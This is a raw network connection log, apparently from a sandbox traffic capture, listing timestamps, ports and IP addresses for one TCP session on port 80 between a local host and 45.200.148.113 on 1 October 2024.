Oct 1, 2024 07:51:11.316379070 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.316410065 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.316412926 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.316457987 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.317118883 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.317194939 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.365797997 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.365860939 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.365875959 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.365911007 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.366025925 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.366038084 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.366077900 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.366314888 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.366326094 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.366336107 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.366369963 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.366722107 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.366731882 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.366741896 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.366791010 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.366791010 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.367233992 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.367259979 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.367275953 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.367292881 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.367501020 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.367511988 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.367522001 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.367549896 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.367574930 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.376151085 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.376209974 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.376251936 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.376265049 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.376288891 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.376307011 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.376605034 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.376616955 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.376627922 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.376651049 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.376692057 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.377085924 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.377096891 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.377108097 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.377145052 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.377194881 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.377648115 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.377665043 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.377705097 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.378715992 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.378729105 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.378767967 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.378786087 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.379492044 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.379503965 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.379513979 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.379524946 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.379539967 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.379575014 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.386868954 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.386945009 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.386948109 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.386960030 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.386980057 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.386998892 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.387257099 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.387268066 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.387278080 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.387300014 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.387311935 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.387319088 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.387352943 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.387752056 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.387763023 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.387803078 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.387969971 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.387981892 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.387991905 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.388004065 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.388015032 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.388024092 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.388026953 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.388036013 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.388058901 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.388077974 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.388923883 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.388935089 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.388945103 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.388957977 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.388967991 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.388987064 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.388999939 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.389065981 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.389803886 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.389816999 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.389828920 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.389838934 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.389849901 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.389868975 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.389870882 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.389878988 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.389939070 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.390717030 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.390727997 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.390738010 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.390748978 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.390758991 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.390769958 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.390774012 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.390779972 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.390803099 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.390821934 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.391622066 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.391633034 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.391644001 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.391654015 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.391676903 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.391714096 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.392448902 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.392461061 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.392472029 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.392519951 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.392544985 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.397624016 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.397663116 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.397674084 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.397694111 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.397711039 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.397748947 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.397906065 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.397916079 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.397927046 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.397952080 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.397984982 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.398189068 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.398355961 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.398365974 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.398437977 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.398636103 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.398647070 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.398658037 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.398669004 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.398679018 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.398685932 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.398719072 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.399158001 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.399169922 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.399179935 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.399192095 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.399214983 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.399231911 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.399728060 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.399739027 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.399749994 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.399760008 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.399770021 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.399772882 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.399780035 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.399811029 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.400638103 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.400650024 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.400660038 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.400670052 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.400679111 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.400688887 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.400688887 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.400700092 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.400721073 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.400743961 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.401500940 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.401513100 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.401523113 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.401535034 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.401547909 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.401552916 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.401585102 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.454257965 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.454298019 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.454309940 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.454336882 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.454360962 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.454505920 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.454518080 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.454566956 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.454814911 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.454827070 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.454838037 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.454870939 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.454905987 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.455174923 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.455184937 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.455195904 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.455234051 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.455563068 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.455574036 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.455579996 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.455585003 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.455651045 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.456008911 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.456053972 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.456263065 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.456273079 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.456284046 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.456294060 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.456305027 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.456310987 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.456316948 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.456361055 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.456986904 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.456999063 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.457036972 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.464553118 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.464626074 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.464701891 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.464715004 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.464766979 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.464903116 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.465017080 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.465032101 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.465042114 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.465058088 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.465075970 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.465114117 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.465421915 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.465434074 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.465445042 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.465456009 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.465466976 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.465470076 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.465497971 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.465536118 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.466068983 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.466126919 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.466214895 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.466226101 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.466264963 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.475420952 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.475497007 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.475522995 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.475534916 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.475569010 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.475836992 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.475847960 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.475858927 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.475869894 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.475881100 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.475919008 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.476393938 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.476408958 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.476418972 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.476429939 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.476443052 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.476479053 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.476933002 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.476986885 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.477097034 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.477108002 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.477123976 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.477134943 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.477144957 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.477153063 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.477171898 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.477196932 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.477214098 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.477952957 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.477963924 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.477973938 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.477983952 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.477994919 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.478025913 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.478058100 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.478770971 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.478782892 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.478792906 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.478805065 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.478816032 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.478873968 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.478929043 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.479312897 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.479324102 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.479335070 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.479345083 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.479353905 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.479365110 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.479366064 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.479374886 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.479424000 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.479424000 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.480262041 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.480273962 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.480299950 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.480310917 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.480314016 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.480320930 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.480348110 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.480355024 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.480396032 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.480424881 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.481072903 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.481138945 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.486183882 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.486284971 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.486294985 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.486309052 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.486325026 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.486358881 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.486483097 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.486521959 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.486561060 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.486598015 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.486718893 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.486732960 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.486757040 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.486759901 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.486780882 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.486799955 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.487082005 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.487093925 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.487129927 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.487277985 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.487288952 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.487324953 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.487498999 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.487509012 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.487524986 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.487534046 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.487543106 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.487545013 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.487555981 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.487562895 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.487601042 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.488132000 CEST	80	49732	45.200.148.113	192.168.2.4
